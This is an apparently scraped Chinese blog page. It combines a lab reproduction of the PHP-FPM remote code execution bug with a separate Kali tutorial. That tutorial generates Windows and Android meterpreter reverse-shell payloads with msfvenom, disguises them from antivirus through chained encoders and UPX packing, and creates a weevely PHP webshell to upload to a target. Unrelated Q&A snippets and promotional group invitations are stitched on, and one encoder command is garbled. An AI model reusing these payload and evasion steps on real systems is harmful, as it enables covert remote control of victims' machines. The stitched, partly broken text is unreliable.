php 远程控制 你根本不懂的黑客神技,如何利用PHP-FPM远程代码执行

小编 2024-10-11 解决方案 23 0

你根本不懂的黑客神技,如何利用PHP-FPM远程代码执行

在现实生活中,黑客一直很神秘,,但是,他们一直在你们的身边。他们是一群计算机爱好者,凭借着兴趣爱好,一直在这条道路上前行。

1、漏洞描述

当Nginx使用特定的fasrcgi配置时,存在远程代码执行漏洞,但这个配置并非Nginx默认配置,当fastcgi_split_path_info字段被配置为^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造的payload,造成远程代码执行漏洞,改配置已被广泛使用,危害较大。

2、环境搭建

这里就直接用vulhub上面的集成环境,用docker直接搭建,这里就不讲如何安装docker了,网上也有类似的很多教程

然后就可以看见它这里搭建好了环境

查看nginx配置

如果在自己的本地搭建的话,先进入容器,然后查看nginx配置文件,其次,-it后面的是id号,id号执行docker ps -a就可以获取到

首先whereis nginx搜索所有的路径,然后进入/etc/nginx/就可以看见nginx.conf配置文件

用vi去编辑查看这个文件提示没有这个命令,在docker环境中它是一个肯定的一个镜像,所以多余的命令它都没有安装

所以我们只能用cat看一下,如果要修改的话,就要自己安装vi和vim编辑器

进入到conf.d目录,查看当前目录的default.conf文件就是漏洞的配置文件,默认安装的话是没有这个配置文件,所以这里我们用docker搭建的漏洞环境所以是存在的

3、漏洞复现

相关的工具可以关注微信公众号:安界网或者留言问我要复现的工具

漏洞复现需要用到一个工具,但是它这里是用go语言写的,所以我们要安装go环境,

wget -c 执行这个命令下载go安装包

或者直接去官方下载,解压之后,用winscp上传到kali上面去

下载完之后解压/usr/local/目录下,执行tar -C /usr/local/ -xzf 文件名

接下来是配置环境变量 vim打开文件/etc/profile文件

在文件后面加上:export PATH=$PATH:/usr/local/go/bin 然后保存

接着执行命令,使环境变量生效 source /etc/profile 然后执行go version查看对应go版本。

漏洞利用工具下载

下载完之后,可以看见它这里有很多文件

那么这样的话,就执行当前所有的go文件去攻击目标网站,点符号代表所有的意思。

攻击成功之后就可以通过a的参数去执行一些想执行的命令

最后喜欢我文章的朋友请加圈子关注我们,私信关键词:加群。(送免费资料和优惠券)

就会自动分享给你群号。欢迎大家加入我们的安全大家庭。提高大家的安全意识,提升大家的网络安全技能一直是我们的初衷和愿景,让我们共同成为守护信息世界的"SaFeMAN"。

还有可以关注我们微信公众号,在公众号上输入安界网,就可以关注到我们,领取资料和优惠券!

kali-5远程控制

1生成被控端2、启动主控端3、

Netcat 瑞士军刀

扫描端口

建立连接

扫描某IP地址的指定端口

nc -v ip port

连接指定IP地址的指定端口的命令如下

nc ip port

以靶机Metasploitable 2的80端口为例测试

控制软件如果是正向的,受害者计算机执行远程控制被控端之后,会在自己主机上打开一个端口,等待hacker连接,受害者计算机不会主动通知计算机,因此hacker必须知道计算机A的IP地址

控制软件如果是反向的,受害者计算机执行远程控制被控端之后,会主动通知hacker,因此黑客无须知道受害者计算机的IP地址,目前主要使用的方式

1、如何使用MSFPC生成被控端 linux

各种类型的被控端

生成linux的被控端,IP选择本机的etho网卡

运行run,很快就建好了一个handler,这就是对应被控终端的主控端

2、如何在kali linux2 中生成被控端

msfpc 是MSFvenom的优化版

┌──(rootkali)-[~]

└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: /var/payload.exe

这里我们使用msfvenom命令生成一个被控端,使用的被控端就是一个用于windows操作系统的反向远程控制软件,即windows/meterpreter/reverse_tcp lhost=192.168.8.128是所使用的的kalilinux的虚拟机IP地址

使用以下命令可以查看所有可以使用的攻击载荷

name攻击载荷的名称 操作系统+控制方式+模块

查找Metasploit 可以在Android操作系统下运行的meterpreter

查看攻击载荷需要设置的参数

msfvenom --list-options -p windows/meterpreter/reverse_tcp

2、如何在kali linux2中启动主控端

输入msfconsole启动metasploit

在metasploit中使用handler作为主控端

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /root/payload.exe

3、远程控制被控端与杀毒软件的博弈

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -f exe -o /var/payload.exe

消除payload.exe的特征码,msf编码器可以将原可执行程传重新编码,生成一个新的二进制文件,这个文件执行后,msf编码器会将原可执行程序解码到内存中并执行

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/nonalpha -f c

-e 选择的编码器,使用 x86/nonalpha编写方式的到的shellcode如图所示

x86/shikata_ga_nai 两次生成的shellcode虽然功能相同,但是代码已经不同了,这也是黑客钟爱的编码方式,可以进行多次编码 -i 编码次数

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.128 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f -raw | msfvenom -e x86/alpha_upper -a x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/payload.exe

3.1 加壳也是对抗基于文件扫描和内存扫描的反病毒技术

加壳工具UPX

upx /var/payload.exe

3.2 powersploit免杀

4、Meterpreter在Android中的应用

4.1查找在Android运行的攻击载荷

下面以 android/meterpreter/reverse_tcp 为例

msfvenom --list-options -p android/meterpreter/reverse_tcp

执行完毕后可以看到被控端的参数

测试环境

1、Android手机IP地址 192.168.1.101

2、kalilinux 安装到虚拟机改用桥接模式 192.168.1.34

3、无线路由192.168.1.1

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.5 lport=9999 R>/var/pentest.apk

这条命令执行完毕后就在var目录生成了一个pentest.apk的文件

4、建立主控端

启动Metasploit

msfconsole

5、对web实现远程控制

中国菜刀 中国蚁剑 冰蝎 weevely(生成PHP木马)

weevely generate 123456 /home/kali/Downloads/testweb.php

password 是生成木马的密码 path是路径 filename 文件名

把后门传到靶机里

相关问答

php本地用虚拟机怎么模拟socket?

我们可以将其理解为一个通信链的句柄。它可以实现不同主机之间的互相通信。Internet上的主机都装了多个服务软件,比如XWAMP,phpstudy等,而且同时提供用户多种...

服务器linux环境运行php,如何配置?

很简单,为了可以用服务器开发和运行PHP网页,需要在计算机系统上安装三个重要组件。Web服务器:PHP实际上可以与所有Web服务器软件一起使用,包括Microsoft的In...

用SSH登录服务器用Vim在线写PHP代码的体验是怎样的?

我觉得和在自己操作的这台电脑上面直接写代码体验一样,甚至更方便,更快速。因为对于我来说,还是一个浏览器看效果,一个编辑器改代码,改完代码刷新页面。和在...

通过代理如何远程访问数据库?

提供本人用过的两种思路第一种思路:第一步,可以通过esp8266或者其他网络模块让你的arduino板子可以访问网络第二步,得看你具体需要,主要是通过http协议或者tc...

怎样远程监控?

远程监控分有很多种,有手机、电脑、QQ等,其中QQ远程最简单不过了!1.实现的流程需要的条件:监控主机(装卡的电脑)可以上网。申请动态域名,进行端口设置...远程...

php是什么意思啊?

php通常指超文本预处理器,用于面向对象、命令式编程,是一种通用开源脚本语言。其主要特点为开源性和免费性、快捷性、数据库连接的广泛性、面向过程和面向对象...

php哪个框架适合做api?

PHP中有很多框架都可以用于开发API,其中比较流行的有:1.Laravel:Laravel是一个流行的PHP框架,它提供了丰富的API组件,包括控制器、路由、模型...推...

为什么现在web渗透,都用的是php写的源码?

第一PHP语言本身漏洞相当多,尤其是很多人不喜欢用最新版本,现在PHP8都发布了,现在竟然还有一大批人用PHP5.2,越早的版本漏洞越多。漏洞多自然就好做渗透...

在QQ上被人远程控制了然后打开了一个软件就黑屏了怎么处理?-...

qq远程协助黑屏原因:QQ版本两方不相同导致黑屏。控制方的分辨率小于被控制方的分辨率导致黑屏。两方的网络ISP商不同。(比如电信和网通)速度问题导致黑屏。...

云帮手服务器面板提供哪些远程支持?

1.一键环境部署,搭建php、数据库、ftp功能;2.日志巡查记录,自动告警功能;3.有远程登录桌面功能,文件传输功能;4.不限idc平台,不限主机系统;5.免费使...1...